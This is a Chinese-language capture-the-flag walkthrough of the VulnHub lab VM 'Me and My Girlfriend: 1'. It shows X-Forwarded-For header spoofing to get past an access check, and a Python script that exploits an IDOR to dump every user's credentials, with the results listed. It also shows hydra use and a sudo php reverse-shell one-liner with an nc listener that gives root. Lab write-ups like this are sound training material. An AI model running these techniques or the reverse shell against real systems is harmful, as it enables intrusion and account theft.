vulnhub靶机之Me and My Girlfriend: 1
0x00 引子
靶机主页:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/
先看描述:
这是个菜鸟级的任务,我们的目标是拿到两个flag,在哪儿,不知道。
0x01 主机 & 服务发现
把靶机下载下来在VMware中启动,会自动通过DHCP获取ip地址,先看下当前网络内存活的主机都有哪些:
对比我虚拟机DHCP的IP池可以知道192.168.1.204就是这个靶机(这里就使用最简单的方式确定靶机ip了),然后扫描靶机有哪些开放的端口:
0x02 web服务权限漏洞
发现有个web服务,访问一下:
艾玛,被拒绝了,网页中有提示:
http请求头X-Forwarded-For可用于客户端的地址,使用chrome插件mod header修改一下请求头:
然后再请求,能够看到正常页面了:
在这里点啊点啊点,都点过一遍了,发现有个profile页,能够看到自己的账号密码:
修改地址栏上的user_id参数:
显示了别人的资料,OK,这里可以脱一下库,我新注册的这个账号的user_id是13,说明数据库中最多有13条记录,那么遍历出所有数据:
import requests from bs4 import BeautifulSoup if __name__ == '__main__': for user_id in range(1, 13): url = 'http://192.168.1.204/index.php?page=profile&user_id=' + str(user_id) response = requests.get(url, headers={'X-Forwarded-For': '127.0.0.1', 'Cookie': 'PHPSESSID=0c5u4fm64g0vee8ceofuer8m52'}) dom = BeautifulSoup(response.content.decode('UTF-8')) username = dom.find('input', id='username')['value'] passwd = dom.find('input', id='password')['value'] if username: print(username + ":" + passwd)
得到:
eweuhtandingan:skuyatuh aingmaung:qwerty!!! sundatea:indONEsia sedihaingmah:cedihhihihi alice:4lic3 abdikasepak:dorrrrr aa:aa
0x03 alice账号,Get!
上面脱裤时冒号分割是为了给hydra用,保存为一个文件使用hydra尝试:
alice的账号,Get!!!
进去就是一顿乱瞅,发现一个可疑文件夹,进去看一下:
有两个文件:
这是第一个flag:
这。。。好像有点尴尬。。。
0x04 提权
查看自己可以以root权限执行的命令,发现自己是可以以root权限执行php命令的,而php又是可以执行本地命令的,所以就相当于alice可以执行root命令。
在kali机器上监听一个端口:
nc -lvp 10086
然后靶机上的alice创建一个php反弹shell去连接它:
sudo /usr/bin/php -r '$sock=fsockopen("192.168.1.172",10086);exec("/bin/bash -i <&3 >&3 2>&3");'
返回kali这边已经登录进root了,进去之后照例一顿乱瞅:
找到了第二个flag:
至此,拿到了两个完整的flag,任务完成!
最后吐槽,我发现Alice和Bob的档期真满,哪哪儿都有他俩。。。。
。